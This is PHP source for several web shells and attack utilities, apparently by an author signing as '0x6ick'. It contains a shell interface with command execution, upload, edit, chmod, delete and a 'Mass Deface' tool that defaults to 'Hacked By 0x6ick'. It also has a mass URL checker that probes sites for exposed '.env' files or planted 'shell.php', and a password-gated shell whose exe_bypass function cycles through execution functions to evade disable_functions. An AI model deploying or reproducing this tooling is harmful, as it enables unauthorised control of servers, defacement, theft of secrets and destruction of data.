Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); }}<!DOCTYPE HTML><link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css"><link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/><?php echo $f[28]($title); ?><title> echo $f[28]($title); </title><style>body{font-family:'Kelly Slab',cursive;background-color: echo $theme_bg;;color: echo $theme_fg;;margin:0;padding:0;}a{font-size:1em;color: echo $theme_link;;text-decoration:none;}a:hover{color: echo $theme_link_hover;;}table{border-collapse:collapse;width:95%;max-width:1200px;margin:15px auto;}.table_home,.td_home{border:2px solid echo $theme_table_row_hover;;padding:7px;vertical-align:middle;}#content tr:hover{background-color: echo $theme_table_row_hover;;}#content .first{background-color: echo $theme_table_header_bg;;font-weight:bold;}input,select,textarea{border:1px solid echo $theme_link_hover;;border-radius:5px;background: echo $theme_input_bg;;color: echo $theme_input_fg;;font-family:'Kelly Slab',cursive;padding:5px;box-sizing:border-box;}input[type="submit"]{background: echo $theme_input_bg;;color: echo $theme_fg;;border:2px solid echo $theme_fg;;cursor:pointer;font-weight:bold;}input[type="submit"]:hover{background: echo $theme_fg;;color: echo $theme_input_bg;;}h1{font-family:'Kelly Slab';font-size:35px;color:white;margin:20px 0 10px;text-align:center;}.path-nav{margin:10px auto;width:95%;max-width:1200px;text-align:left;word-wrap:break-word;}.message{padding:10px;margin:10px auto;border-radius:5px;width:95%;max-width:1200px;font-weight:bold;text-align:center;}.message.success{background-color: echo $message_success_color;;color: echo $theme_bg;;}.message.error{background-color: echo $message_error_color;;color:white;}.section-box{background-color:#1a1a1a;border:1px solid echo $theme_border_color;;padding:15px;margin:20px auto;border-radius:8px;width:95%;max-width:1200px;}.main-menu{margin:20px auto;width:95%;max-width:1200px;text-align:center;padding:10px 0;border-top:1px solid echo $theme_border_color;;border-bottom:1px solid echo $theme_border_color;;}.main-menu a{margin:0 8px;font-size:1.1em;white-space:nowrap;}pre{background-color:#0e0e0e;border:1px solid #444;padding:10px;overflow-x:auto;white-space:pre-wrap;word-wrap:break-word;color:#00FFD1;}</style><a href="?"><h1 style="color: white;"> echo $f[28]($title); </a>if(isset($_GET['msg_text'])) { echo "<div class='message ".$f[28]($_GET['msg_type'])."'>".$f[28]($_GET['msg_text'])."</div>"; }if(isset($_SESSION['feature_output'])) { echo '<div class="section-box"><h4>Hasil Fitur Sebelumnya:</h4><pre>'.$_SESSION['feature_output'].'</pre></div>'; unset($_SESSION['feature_output']); }<table class="system-info-table" width="95%" border="0" cellpadding="0" cellspacing="0" align="left"><font color='white'><i class='fa fa-user'></i> User / IP </font>: <font color=' echo $theme_fg; '> echo $_SERVER['REMOTE_ADDR']; </font><font color='white'><i class='fa fa-desktop'></i> Host / Server </font>: <font color=' echo $theme_fg; '> echo $f[39]($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']; </font><font color='white'><i class='fa fa-hdd-o'></i> System </font>: <font color=' echo $theme_fg; '> echo $f[40](); </font><div class="main-menu"> <a href="?path= echo $f[38]($path); &action=cmd">Command</a> | <a href="?path= echo $f[38]($path); &action=upload_form">Upload</a> | <a href="?path= echo $f[38]($path); &action=mass_deface_form">Mass Deface</a> | <a href="?path= echo $f[38]($path); &action=create_form">Create</a></div><div class="path-nav"> <i class="fa fa-folder-o"></i> : $paths_array = $f[41]('/', $f[42]($path, '/')); echo '<a href="?path=/">/</a>'; $current_built_path = ''; foreach($paths_array as $pat){ if(empty($pat)) continue; $current_built_path .= '/' . $pat; echo '<a href="?path='.$f[38]($current_built_path).'">'.$f[28]($pat).'</a>/'; } </div>$show_file_list = true;if (isset($_GET['action'])) { $show_file_list = false; echo '<div class="section-box">'; switch ($_GET['action']) { case 'cmd': $cmd_output = (isset($_POST['do_cmd'])) ? $f[28](exe($_POST['cmd_input'])) : ''; echo '

Execute Command

>" style="width: 70px;">
'; if($cmd_output) echo '<h4>Output:</h4><pre>'.$cmd_output.'</pre>'; break; case 'upload_form': echo '

Upload File

'; break; case 'mass_deface_form': echo '

Mass Deface

<p>Tipe:
Biasa (1 level) | Massal (Rekursif)</p><p>Folder Target:
</p><p>Nama File:
</p><p>Isi Script:
<textarea name="script_content" style="width:100%;height:150px">Hacked By 0x6ick</textarea></p>
'; break; case 'create_form': echo '

Create New

<select name="create_type"><option value="file">File</option><option value="dir">Folder</option></select>
'; break; case 'delete': echo '

Konfirmasi Hapus: '.$f[28]($f[5]($_GET['target_file'])).'

<p style="color:red;text-align:center;">Anda YAKIN? Tindakan ini tidak bisa dibatalkan.</p>
<a href="?path='.$f[38]($path).'" style="margin-left:10px;">BATAL</a>
'; break; case 'extract_form': echo '

Konfirmasi Ekstrak: '.$f[28]($f[5]($_GET['target_file'])).'

<p>Ekstrak semua isi file ini ke direktori saat ini ('.$f[28]($path).')?</p>
<a href="?path='.$f[38]($path).'" style="margin-left:10px;">BATAL</a>
'; break; case 'view_file': echo '

Viewing: '.$f[28]($f[5]($_GET['target_file'])).'

<textarea style="width:100%;height:400px;" readonly>'.$f[28](@$f[50]($_GET['target_file'])).'</textarea>'; break; case 'edit_form': echo '

Editing: '.$f[28]($f[5]($_GET['target_file'])).'

<textarea name="src_content" style="width:100%;height:400px;">'.$f[28](@$f[50]($_GET['target_file'])).'</textarea>
'; break; case 'rename_form': echo '

Rename: '.$f[28]($f[5]($_GET['target_file'])).'

New Name:
'; break; case 'chmod_form': $current_perms = $f[21]($f[15]('%o', @$f[14]($_GET['target_file'])), -4); echo '

Chmod: '.$f[28]($f[5]($_GET['target_file'])).'

Permission:
'; break; } echo '</div>';}if ($show_file_list) { echo '
'; echo '<div id="content"><tr class="first">'; echo '<th>e.checked=this.checked);"></th>'; echo '<th>Name</th><th>Size</th><th>Perm</th><th>Options</th>'; $scandir_items = @$f[19]($path); if ($scandir_items) { $f[47]($scandir_items, function($a, $b) use ($path, $f) { if ($a == '..') return -1; if ($b == '..') return 1; if ($f[17]($path.'/'.$a) && !$f[17]($path.'/'.$b)) return -1; if (!$f[17]($path.'/'.$a) && $f[17]($path.'/'.$b)) return 1; return $f[48]($a, $b); }); foreach($scandir_items as $item){ if($item == '.') continue; $full_item_path = $path.DIRECTORY_SEPARATOR.$item; $encoded_full_item_path = $f[38]($full_item_path); echo "<td class='td_home' style='text-align:center;'>"; if ($item != '..') echo "<input type='checkbox' class='file-checkbox' name='selected_files[]' value='".$f[28]($full_item_path)."'>"; echo "<td class='td_home'>"; if($item == '..') echo "<i class='fa fa-folder-open-o'></i> <a href=\"?path=".$f[38]($f[32]($path))."\">".$f[28]($item)."</a>"; elseif($f[17]($full_item_path)) echo "<i class='fa fa-folder-o'></i> <a href=\"?path=$encoded_full_item_path\">".$f[28]($item)."</a>"; else echo "<i class='fa fa-file-o'></i> <a href=\"?action=view_file&target_file=$encoded_full_item_path&path=".$f[38]($path)."\">".$f[28]($item)."</a>"; echo "<td class='td_home' style='text-align:center;'>".($f[43]($full_item_path) ? $f[44](@$f[45]($full_item_path)/1024,2).' KB' : '--').""; echo "<td class='td_home' style='text-align:center;'><font color='".($f[26]($full_item_path) ? '#57FF00' : (!$f[46]($full_item_path) ? '#FF0004' : $theme_fg))."'>".perms($full_item_path)."</font>"; echo "<td class='td_home' style='text-align:center;'><select style='width:100px;' onchange=\"if(this.value) window.location.href='?action='+this.value+'&target_file={$encoded_full_item_path}&path=".$f[38]($path)."'\"><option value=''>Action</option><option value='delete'>Delete</option>"; if($f[43]($full_item_path)) { echo "<option value='edit_form'>Edit</option>"; if($f[30]('ZipArchive') && $f[49]($full_item_path, PATHINFO_EXTENSION) == 'zip') echo "<option value='extract_form'>Extract</option>"; } echo "<option value='rename_form'>Rename</option><option value='chmod_form'>Chmod</option></select>"; } } else { echo "<td colspan='5' style='text-align:center;'><font color='red'>Gagal membaca direktori.</font>"; } // MODIFIED: Bulk action dropdown if ($f[30]('ZipArchive')) { echo '<tfoot><tr class="first"><td colspan="5" style="padding:10px;">With selected: <select name="bulk_action"><option value="">Choose...</option><option value="zip_selected">Zip</option><option value="delete_selected">Hapus</option></select> </tfoot>'; // ADDED: delete_selected option } echo '
</div>
';}<hr style="border-top: 1px solid echo $theme_border_color; ; width: 95%; max-width: 1200px; margin: 15px auto;">
<font color="#fff" size="2px">Coded With &#x1f497; by <font color="#7e52c6"> echo $f[28]($author); </font>
PHP;}function sempak() { return <<<'PHP'// TOOLS GABUTerror_reporting(0);set_time_limit(0);// -------------------- Helpers --------------------function is_possible_domain_folder($name) { return preg_match('/^([a-z0-9-]+\.)+[a-z]{2,}$/i', $name);}function normalize_lines($text){ if ($text === null) return []; return preg_split("/\r\n|\n|\r/", trim($text));}// -------------------- Global Variables --------------------$active_tool = 'grabber';$grabber_output = '';$ext_output = '';$checker_output = '';$checker_found_list_string = '';// -------------------- MAIN LOGIC ROUTER --------------------// --- 1. DOMAIN GRABBER (Runs on GET 'path') ---$defaultPath = realpath(dirname(__FILE__)) . '/';$baseInput = $_GET['path'] ?? '';if ($baseInput !== '') { $active_tool = 'grabber'; $base = rtrim($baseInput, '/') . '/'; $domains_list = []; if (is_dir($base)) { $dirs = scandir($base); foreach ($dirs as $d) { if ($d === '.' || $d === '..') continue; if (is_dir($base . $d) && is_possible_domain_folder($d)) { $domains_list[] = "http://$d/"; } } sort($domains_list); $grabber_output = implode(PHP_EOL, $domains_list); } else { $grabber_output = "ERROR: Path not found or is not a directory:\n" . htmlspecialchars($base); }}// --- 2. POST LOGIC (EXT Generator & Mass Checker) ---if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { // --- 2a. EXT GENERATOR --- if ($_POST['action'] === 'ext_generate') { $active_tool = 'ext'; $input_text = trim($_POST['urllist'] ?? ''); $old_ext = trim($_POST['oldext'] ?? ''); $new_ext = trim($_POST['newext'] ?? ''); $lines = normalize_lines($input_text); $results = []; foreach ($lines as $url) { $u = trim($url); if ($u === '') continue; if ($old_ext !== '' && substr($u, -strlen($old_ext)) === $old_ext) { $results[] = substr($u, 0, -strlen($old_ext)) . $new_ext; } else { $results[] = $u . $new_ext; } } sort($results); $ext_output = implode(PHP_EOL, $results); @file_put_contents('ext.txt', $ext_output); } // --- 2b. MASS CHECKER --- if ($_POST['action'] === 'mass_check') { $active_tool = 'checker'; ob_start(); // Start output buffering to catch all 'echo' $urls_raw = explode("\n", trim($_POST['urls'])); $ext = trim($_POST['ext']); $keyword = trim($_POST['keyword']); $mode = $_POST['mode'] ?? 'normal'; $target_mode = $_POST['target_mode'] ?? 'root'; $urls = []; foreach ($urls_raw as $u) { if (trim($u) !== '') $urls[] = trim($u); } $keyword_is_empty = ($keyword === ''); $total_urls = count($urls); $counts = ['found' => 0, 'miss' => 0, 'error' => 0, 'skip' => 0]; $current_url = 1; // Summary echo '<div id="summary-box" class="summary-box">'; echo '<div>TOTAL: <span id="s-total">' . $total_urls . '</span></div>'; echo '<div>FOUND: <span id="s-found" style="color:lime">0</span></div>'; echo '<div>MISS: <span id="s-miss" style="color:red">0</span></div>'; echo '<div>ERRORS: <span id="s-error" style="color:orange">0</span></div>'; echo '</div>'; echo "<h4>Scan Results (Scan Mode: " . htmlspecialchars($mode) . " | Target Mode: " . htmlspecialchars($target_mode) . ")</h4>"; $found_list = []; // --- FAST MODE (cURL) --- if ($mode === 'fast') { $multi_handle = curl_multi_init(); $curl_handles = []; $url_map = []; foreach ($urls as $url_input) { $test_url = $url_input; if (strpos($test_url, '://') === false) $test_url = 'http://' . $test_url; if (!filter_var($test_url, FILTER_VALIDATE_URL)) { echo "<span style='color:orange'>($current_url/$total_urls) [SKIP]</span> Invalid Base URL: " . htmlspecialchars($url_input) . "
"; $counts['skip']++; $current_url++; continue; } $target = ''; if ($target_mode === 'path') { $base_url = preg_replace('/\/[^\/]*$/', '', $url_input); $target = rtrim($base_url, '/') . '/' . $ext; } else { $parsed_url = parse_url($test_url); $target = ($parsed_url['scheme'] ?? 'http') . '://' . $parsed_url['host'] . '/' . $ext; } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $target, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36' ]); curl_multi_add_handle($multi_handle, $ch); $curl_handles[] = $ch; $url_map[(string)$ch] = $target; } $running = null; do { curl_multi_exec($multi_handle, $running); usleep(100); } while ($running > 0); foreach ($curl_handles as $ch) { $target = $url_map[(string)$ch]; $resp = curl_multi_getcontent($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curl_error = curl_error($ch); $condition_met = false; if ($curl_error || $http_code == 0) { echo "<span style='color:orange'>($current_url/$total_urls) [ERROR]</span> " . htmlspecialchars($target) . " <small>(cURL Error: " . htmlspecialchars($curl_error ? $curl_error : 'Connection Failed') . ")</small>
"; $counts['error']++; } else { if ($keyword_is_empty) { $condition_met = ($http_code == 200); } else { $condition_met = ($http_code == 200 && $resp !== false && strpos($resp, $keyword) !== false); } if ($condition_met) { echo "<span style='color:lime'>($current_url/$total_urls) [FOUND]</span> " . htmlspecialchars($target) . "
"; $counts['found']++; $found_list[] = $target; } else { echo "<span style='color:red'>($current_url/$total_urls) [MISS]</span> " . htmlspecialchars($target) . " <small>(Code: $http_code)</small>
"; $counts['miss']++; } } curl_multi_remove_handle($multi_handle, $ch); $current_url++; } curl_multi_close($multi_handle); } else { foreach ($urls as $url_input) { $test_url = $url_input; if (strpos($test_url, '://') === false) $test_url = 'http://' . $test_url; if (!filter_var($test_url, FILTER_VALIDATE_URL)) { echo "<span style='color:orange'>($current_url/$total_urls) [SKIP]</span> Invalid Base URL: " . htmlspecialchars($url_input) . "
"; $counts['skip']++; $current_url++; continue; } $target = ''; if ($target_mode === 'path') { $base_url = preg_replace('/\/[^\/]*$/', '', $url_input); $target = rtrim($base_url, '/') . '/' . $ext; } else { $parsed_url = parse_url($test_url); $target = ($parsed_url['scheme'] ?? 'http') . '://' . $parsed_url['host'] . '/' . $ext; } $context = stream_context_create([ "ssl" => ["verify_peer" => false, "verify_peer_name" => false], "http" => [ "timeout" => 15, "user_agent" => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36' ] ]); $resp = @file_get_contents($target, false, $context); $condition_met = false; if ($resp === false) { if (!isset($http_response_header)) { echo "<span style='color:orange'>($current_url/$total_urls) [ERROR]</span> " . htmlspecialchars($target) . " <small>(Connection Failed)</small>
"; $counts['error']++; } else { preg_match('/HTTP\/.* (\d{3})/', $http_response_header[0], $matches); $http_code = $matches[1] ?? 'N/A'; echo "<span style='color:red'>($current_url/$total_urls) [MISS]</span> " . htmlspecialchars($target) . " <small>(Code: $http_code)</small>
"; $counts['miss']++; } } else { if ($keyword_is_empty) { $condition_met = true; } else { $condition_met = (strpos($resp, $keyword) !== false); } if ($condition_met) { echo "<span style='color:lime'>($current_url/$total_urls) [FOUND]</span> " . htmlspecialchars($target) . "
"; $counts['found']++; $found_list[] = $target; } else { echo "<span style='color:red'>($current_url/$total_urls) [MISS]</span> " . htmlspecialchars($target) . " <small>(Keyword Not Found)</small>
"; $counts['miss']++; } } $current_url++; } } if (!empty($found_list)) { file_put_contents('found.txt', implode(PHP_EOL, $found_list) . PHP_EOL, FILE_APPEND); $checker_found_list_string = implode(PHP_EOL, $found_list); } echo "
<a href='found.txt' target='blank' class='download'>Download found.txt</a>"; echo "<script>"; echo "document.getElementById('s-found').innerText = '" . $counts['found'] . "';"; echo "document.getElementById('s-miss').innerText = '" . $counts['miss'] . "';"; echo "document.getElementById('s-error').innerText = '" . $counts['error'] + $counts['skip'] . "';"; echo "</script>"; // Get buffered output and assign to variable $checker_output = ob_get_clean(); }}// This closes the PHP block before HTML starts<!DOCTYPE html><html lang="en"><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">BengkelSempak<title>BengkelSempak</title><style>:root { --bg-deep: #121212; --bg-main: #1a1a1a; --text-main: #e0e0e0; --text-muted: #8899aa; --accent: #00f0e6; --border: #334455; --title: #ffffff; --found: #50fa7b; --miss: #ff5555; }*{box-sizing:border-box}body{ margin:0; font-family:"Courier New",Courier,monospace; background: linear-gradient(180deg, var(--bg-deep) 0%, var(--bg-main) 100%); color: var(--text-main); display:flex; justify-content:center; padding:26px;}.wrap{width:100%;max-width:980px}.header{text-align:center;margin-bottom:14px}.title{ font-size:42px; color: var(--title); text-shadow: 0 0 10px rgba(0, 240, 230, 0.2); letter-spacing:2px;margin:6px 0;font-weight:700}.card{ background:transparent; padding:14px;border-radius:8px; border: 1px solid var(--border);}.tabs{display:flex;gap:8px;margin:16px 0}.tab{ flex:1;padding:12px; background:rgba(0,0,0,0.5); border: 1px solid var(--border); color: var(--text-muted); text-align:center;cursor:pointer;border-radius:6px;font-weight:600; transition: all 0.2s ease;}.tab:hover { color: var(--text-main); border-color: var(--accent);}.tab.active{ background: var(--accent); color: var(--bg-deep); box-shadow: 0 0 18px rgba(0, 240, 230, 0.2); border-color: var(--accent);}.panel{ margin-top:12px;padding:16px;border-radius:8px; background: var(--bg-deep); border: 1px solid var(--border); display:none;}label{ display:block; color: var(--text-muted); margin:8px 0 6px;font-size:14px}.input, textarea, select { width:100%;padding:10px 12px; background:transparent; border: 1px solid var(--border); color: var(--text-main); border-radius:6px;outline:none;font-family:inherit; transition: all 0.2s ease;}.input:focus, textarea:focus, select:focus { border-color: var(--accent); box-shadow: 0 0 10px rgba(0, 240, 230, 0.2);}textarea{min-height:140px;resize:vertical}.btn{ display:inline-block; background: var(--accent); color: var(--bg-deep); padding:10px 18px;margin-top:10px;border-radius:6px; font-weight:700;cursor:pointer;border:0; transition: all 0.2s ease;}.btn:hover { opacity: 0.8;}.btn.secondary{ background: transparent; color: var(--accent); border: 1px solid var(--accent);}.btn.secondary:hover { background: var(--accent); color: var(--bg-deep); opacity: 1;}.small{ font-size:13px; color: var(--text-muted); }.result{ margin-top:12px;padding:12px; background: var(--bg-deep); border: 1px dashed var(--border); border-radius:6px; color: var(--text-main); white-space:pre-wrap;font-family:monospace}.footer{ text-align:center; color: var(--text-muted); margin-top:18px;font-size:13px}.flex{display:flex;gap:10px;align-items:flex-start}.col{flex:1}a.download{ color: var(--accent); font-weight:700;text-decoration:none}.checker-result { margin-top:15px; padding:10px; background: #000; border-radius: 5px; border: 1px solid var(--border); max-height: 300px; overflow-y: auto; }//t.me/yungx6ick.checker-result span[style*="color:lime"] { color: var(--found) !important; }.checker-result span[style*="color:red"] { color: var(--miss) !important; }.checker-result span[style*="color:orange"] { color: #ffb86c !important; } .summary-box { display: flex; justify-content: space-around; background: var(--bg-deep); padding: 15px; border-radius: 6px; border: 1px solid var(--accent); margin-bottom: 15px; font-size: 1.2em; font-weight: bold;}.summary-box span[style*="color:lime"] { color: var(--found) !important; }.summary-box span[style*="color:red"] { color: var(--miss) !important; }.summary-box div { flex: 1; text-align: center;}</style><script>function showTab(id){ document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active')); document.querySelectorAll('.panel').forEach(p=>p.style.display='none'); document.getElementById('tab-'+id).classList.add('active'); document.getElementById('panel-'+id).style.display='block';}function copyTxt(id){ const el = document.getElementById(id); if (!el) return; navigator.clipboard.writeText(el.value).then(()=>alert('Copied!'));}//0x6ick.my.idwindow.addEventListener('DOMContentLoaded', ()=> showTab(' echo $active_tool; '));</script><div class="wrap"> <div class="header"> <div class="title">BengkelSempak</div> <div class="small">Tidak ada yang sia-sia,bahkan sempak juga punya manfaat.</div> </div> <div class="card"> <div class="tabs"> <div class="tab" id="tab-grabber" onclick="showTab('grabber')">Domain Grabber</div> <div class="tab" id="tab-ext" onclick="showTab('ext')">EXT Generator</div> <div class="tab" id="tab-checker" onclick="showTab('checker')">Mass Checker</div> </div> <div class="panel" id="panel-grabber">

Domain Grabber

<div class="small">Scans a local directory for folder names that look like domains.</div>
<label for="path">Local Directory Path</label> <button type="submit" class="btn">Grab Domains</button>
if (!empty($grabber_output)): <label style="margin-top:15px;">Results</label> <textarea id="grabber-result" class="result" rows="10"> echo htmlspecialchars($grabber_output); </textarea> <div class="btn secondary" onclick="copyTxt('grabber-result')">Copy to Clipboard</div> endif; </div> <div class="panel" id="panel-ext">

EXT Generator

<div class="small">Replaces or appends text to each line from a list of URLs.</div>
<div class="flex"> <div class="col"> <label for="urllist">URL List</label> <textarea name="urllist" placeholder="http://domain.com/file.txt..."> echo htmlspecialchars($_POST['urllist'] ?? ''); </textarea> </div> <div class="col"> <label for="oldext">Old Extension (Optional)</label> <label for="newext">New Extension</label> <button type="submit" class="btn">Generate</button> if (file_exists('ext.txt') && filesize('ext.txt') > 0): <a href="ext.txt" target="_blank" class="download" style="margin-left:10px;">Download ext.txt ( echo filesize('ext.txt'); bytes)</a> endif; </div> </div>
if (!empty($ext_output)): <label style="margin-top:15px;">Results</label> <textarea id="ext-result" class="result" rows="10"> echo htmlspecialchars($ext_output); </textarea> <div class="btn secondary" onclick="copyTxt('ext-result')">Copy to Clipboard</div> endif; </div> <div class="panel" id="panel-checker">

Mass Checker

<div class="small">Checks a list of URLs for a specific path and keyword.</div>
<label>URL List</label> <textarea name="urls" rows="8" placeholder="Enter list of URLs, one per line..."> echo htmlspecialchars($_POST['urls'] ?? ''); </textarea> <div class="flex"> <div class="col"> <label>Path / File</label> <input name="ext" class="input" placeholder="Example: .env or shell.php" value=" echo htmlspecialchars($_POST['ext'] ?? ''); "> </div> <div class="col"> <label>Keyword</label> <input name="keyword" class="input" placeholder="Keyword (optional, checks HTTP 200 if empty)" value=" echo htmlspecialchars($_POST['keyword'] ?? ''); "> </div> <div class="col"> <label>Target Mode</label> <select name="target_mode" class="input"> <option value="root" echo (($_POST['target_mode'] ?? 'root') == 'root') ? 'selected' : ''; >Append to Domain Root</option> <option value="path" echo (($_POST['target_mode'] ?? '') == 'path') ? 'selected' : ''; >Append to URL Path</option> </select> </div> <div class="col"> <label>Scan Mode</label> <select name="mode" class="input"> <option value="normal" echo (($_POST['mode'] ?? 'normal') == 'normal') ? 'selected' : ''; >Normal Mode (Stable, Slower)</option> <option value="fast" echo (($_POST['mode'] ?? '') == 'fast') ? 'selected' : ''; >Fast Mode (Super Fast, cURL)</option> </select> </div> </div> <button type="submit" class="btn">Scan Now</button>
if (!empty($checker_output)): <label style="margin-top:15px;">Live Scan Log</label> <div class="checker-result"> echo $checker_output; // This contains live HTML output </div> if (!empty($checker_found_list_string)): <label style="margin-top:15px;">Found Results (List)</label> <textarea id="checker-result-list" class="result" rows="8"> echo htmlspecialchars($checker_found_list_string); </textarea> <div class="btn secondary" onclick="copyTxt('checker-result-list')">Copy to Clipboard</div> endif; endif; </div> </div> <div class="footer"> 0x6ick — Gaje Project v1.0 </div></div>PHP;}function wtfexp() { return <<<'PHP'// Script Header: Start Session and Error Reportingsession_start();@error_reporting(0);@set_time_limit(0);// --- AUTHENTICATION CONFIGURATION (CHANGE THE HASH!) ---$valid_password_hash = '$2a$12$b4rbjQK.jp0vyOClL9M0j.TiVb1Pd3Ms4bPLjVzzGlKOF8UWl4n0S';$zip_available = class_exists('ZipArchive');// --- SESSION MANAGEMENT ---if (isset($_GET['logout'])) { unset($_SESSION['gits_login']); session_destroy(); header('Location: ?'); exit;}if (!isset($_SESSION['gits_login'])) { if (isset($_POST['pass'])) { if (password_verify($_POST['pass'], $valid_password_hash)) { $_SESSION['gits_login'] = true; header("Location: ?"); exit; } else { $login_error = true; } } // Login Form Display (Using the clean, final style) echo '<style> body { background: #0d1117; color: #c9d1d9; font-family: monospace; display: flex; justify-content: center; align-items: center; height: 100vh; flex-direction: column; margin: 0; } form { position: relative; background: #161b22; border: 1px solid #30363d; padding: 30px; width: 300px; box-shadow: 0 0 10px rgba(88, 166, 255, 0.1); border-radius: 5px; box-sizing: border-box; overflow: hidden; } form::before { content: ""; position: absolute; width: 20px; height: 20px; background: #58a6ff; border-radius: 50%; top: -10px; left: -10px; animation: move-dot 5s linear infinite; } @keyframes move-dot { 0% { top: -10px; left: -10px; } 25% { top: -10px; left: 290px; } 50% { top: 290px; left: 290px; } 75% { top: 290px; left: -10px; } 100% { top: -10px; left: -10px; } } h1 { color: #c9d1d9; margin-bottom: 20px; font-weight: 400; text-align: center; } input { background: #0d1117; color: #c9d1d9; border: 1px solid #30363d; padding: 12px; margin-top: 15px; width: 100%; box-sizing: border-box; border-radius: 3px; transition: border-color 0.3s, box-shadow 0.3s; } input:focus { border-color: #58a6ff; box-shadow: 0 0 5px rgba(88, 166, 255, 0.3); outline: none; } input::placeholder { color: rgba(201, 209, 217, 0.4); } input[type=submit] { background: #58a6ff; color: #ffffff; font-weight: bold; cursor: pointer; border: 1px solid #58a6ff; margin-top: 20px; transition: background-color 0.3s, border-color 0.3s; border-radius: 4px; } input[type=submit]:hover { background: #1f6feb; border-color: #1f6feb; } .error { color: #f85149; margin-bottom: 15px; font-weight: bold; } .contact { margin-top: 15px; font-size: 0.9em; text-align: center; color: #c9d1d9; } .contact a { color: #58a6ff; text-decoration: none; } .contact a:hover { text-decoration: underline; } </style>'; // --- Display H1 --- echo '

You just do WTF

'; // --- Error handling --- if (isset($login_error)) { echo '<div class="error">❌ Damn, suck it all…</div>'; // Forgot/extra message + Telegram link echo '<div class="contact">Are we fucked or what? <a href="https://t.me/yungx6ick" target="_blank">@yungx6ick</a></div>'; } // --- Login Form --- echo '
'; exit;}// File Download Handlerif (isset($_GET['download'])) { $filePath = realpath($_GET['download']); if ($filePath && is_file($filePath) && is_readable($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filePath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } else { http_response_code(404); exit('File not found or not readable.'); }}// Get current directory pathfunction get_path() { $path = isset($_REQUEST['d']) ? $_REQUEST['d'] : getcwd(); return realpath($path) ? realpath($path) : getcwd(); }// Format file permissionsfunction get_perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; $info = (($perms & 0xC000) == 0xC000) ? 's' : ((($perms & 0xA000) == 0xA000) ? 'l' : ((($perms & 0x8000) == 0x8000) ? '-' : ((($perms & 0x6000) == 0x6000) ? 'b' : ((($perms & 0x4000) == 0x4000) ? 'd' : ((($perms & 0x2000) == 0x2000) ? 'c' : ((($perms & 0x1000) == 0x1000) ? 'p' : 'u')))))); $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; }// Format file sizefunction format_size($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; for ($i = 0; $size > 1024; $i++) { $size /= 1024; } return round($size, 2) . ' ' . $units[$i]; }// Delete file or folder recursivelyfunction delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); foreach (scandir($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); }// Command execution bypass attemptsfunction exe_bypass($cmd) { $disabled = @ini_get('disable_functions'); $disabled_array = $disabled ? array_map('trim', explode(',', $disabled)) : []; $output = ''; if (function_exists('shell_exec') && !in_array('shell_exec', $disabled_array)) { $output = shell_exec($cmd . ' 2>&1'); if ($output !== null) return $output ?: 'Command executed successfully with no output.'; } if (function_exists('passthru') && !in_array('passthru', $disabled_array)) { ob_start(); passthru($cmd . ' 2>&1'); $output = ob_get_clean(); if ($output !== false) return $output ?: 'Command executed successfully with no output.'; } if (function_exists('system') && !in_array('system', $disabled_array)) { ob_start(); system($cmd . ' 2>&1'); $output = ob_get_clean(); if ($output !== false) return $output ?: 'Command executed successfully with no output.'; } if (function_exists('exec') && !in_array('exec', $disabled_array)) { exec($cmd . ' 2>&1', $lines); return implode("\n", $lines) ?: 'Command executed successfully with no output.'; } if (function_exists('popen') && !in_array('popen', $disabled_array)) { $handle = popen($cmd . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 1024); } pclose($handle); return $output ?: 'Command executed successfully with no output.'; } } return "ERROR: All tested execution methods are disabled or failed.\nDisabled functions: " . ($disabled ?: 'None');}// Function to handle bulk zipping function zip_items($targets, $zipFileName) { global $zip_available; if (!$zip_available) return ['status'=>'error','message'=>'PHP ZipArchive not enabled.']; $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { return ['status'=>'error','message'=>'Cannot create zip file.']; } foreach ($targets as $item) { if (is_file($item)) { $zip->addFile($item, basename($item)); } elseif (is_dir($item)) { // Simplified directory recursion for example $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item)); foreach ($files as $file) { if 